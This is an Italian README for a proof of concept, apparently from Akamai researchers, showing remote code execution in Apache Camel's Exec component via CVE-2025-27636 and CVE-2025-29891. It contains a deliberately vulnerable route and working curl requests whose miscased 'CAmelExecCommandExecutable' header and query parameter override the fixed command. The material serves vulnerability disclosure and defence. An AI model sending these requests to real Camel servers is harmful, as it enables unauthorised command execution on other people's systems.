
Proof-of-concept che dimostra l'esecuzione remota di codice in Apache Camel sfruttando i bypass dei filtri su header e parametri (CVE-2025-27636, CVE-2025-29891) tramite il componente Exec.
CVE-2025–27636 e CVE-2025-29891 sono vulnerabilità in Apache Camel che interessano le versioni: 4.10.0-4.10.1, 4.8.0-4.8.4, 3.10.0-3.22.3. Lo sfruttamento di queste vulnerabilità può consentire agli attaccanti di eseguire metodi interni di Camel.
Quello che segue è un esempio di applicazione vulnerabile che utilizza il componente Camel Exec, che può essere sfruttato per ottenere RCE. Altri componenti Camel potrebbero essere sfruttati in modo simile.
mvn clean package
mvn exec:java -Dexec.mainClass=camel.vulnerable.VulnerableCamel
L'app espone un endpoint HTTP progettato per eseguire il comando "whoami" e restituire il risultato al client. Il componente Camel "Exec" è configurato per eseguire il comando, che è definito staticamente nel codice.
// recieve request from client and pass it to the "Exec" camel component
from("jetty:http://0.0.0.0:80/vulnerable")
.log("Received request from client")
// define a static command. This can be overwritten using the "CamelExecCommandExecutable" header
.to("exec:whoami")
.convertBodyTo(String.class)
.log("Command Output: ${body}");
Nonostante il comando sia statico, possiamo sovrascriverlo passando l'header CamelExecCommandExecutable, che (come specificato nella documentazione) sovrascrive l'URI statico. Apache Camel dovrebbe filtrare tali header, ma a causa di una gestione errata delle maiuscole/minuscole, passare l'header "CAmelExecCommandExecutable" bypassa il filtro.
Eseguire il seguente comando sovrascriverà il comando statico "whoami" e invece eseguirà un comando arbitrario:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ls"
pom.xml
src
target
Possiamo anche passare argomenti specificando l'header CamelExecCommandArgs:
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ping" --header "CAmelExecCommandArgs: -c 2 8.8.8.8"
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=98.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=46.4 ms
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1012ms
Se passiamo l'header "normale", noteremo che lo sfruttamento fallisce e il comando statico "whoami" viene eseguito normalmente:
$ curl "http://localhost:80/vulnerable" --header "CamelExecCommandExecutable: ls"
kali
Inizialmente, si credeva che gli header delle richieste fossero l'unico vettore di sfruttamento. Tuttavia, il team di ricerca sulla sicurezza di Akamai ha riportato un vettore aggiuntivo al team di sviluppo di Apache Camel, portando all'assegnazione di CVE-2025-29891. Questo problema deriva dalla stessa falla di filtraggio di CVE-2025-27636 e consente di invocare metodi interni attraverso parametri della richiesta.
Nell'esempio seguente, possiamo vedere che specificare il parametro di query “CAmelExecCommandExecutable” porta all'esecuzione arbitraria di comandi - proprio come il vettore dell'header originale:
$ curl "http://localhost:80/vulnerable?CAmelExecCommandExecutable=ls"
pom.xml
src
target
La patch originale implementata per correggere CVE-2025-27636 risolve anche questo problema, quindi le applicazioni che utilizzano versioni aggiornate di Apache Camel non sono vulnerabili a questo vettore di sfruttamento.
Copyright 2025 Akamai Technologies Inc.
Concesso in licenza secondo l'Apache License, Versione 2.0 (la "Licenza"); non è consentito utilizzare questo file se non in conformità con la Licenza. È possibile ottenere una copia della Licenza all'indirizzo
http://www.apache.org/licenses/LICENSE-2.0
Salvo quanto richiesto dalla legge applicabile o concordato per iscritto, il software distribuito secondo la Licenza è distribuito su base "AS IS" (COSÌ COM'È), SENZA GARANZIE O CONDIZIONI DI ALCUN TIPO, esplicite o implicite. Vedere la Licenza per le autorizzazioni e le limitazioni specifiche che regolano l'uso.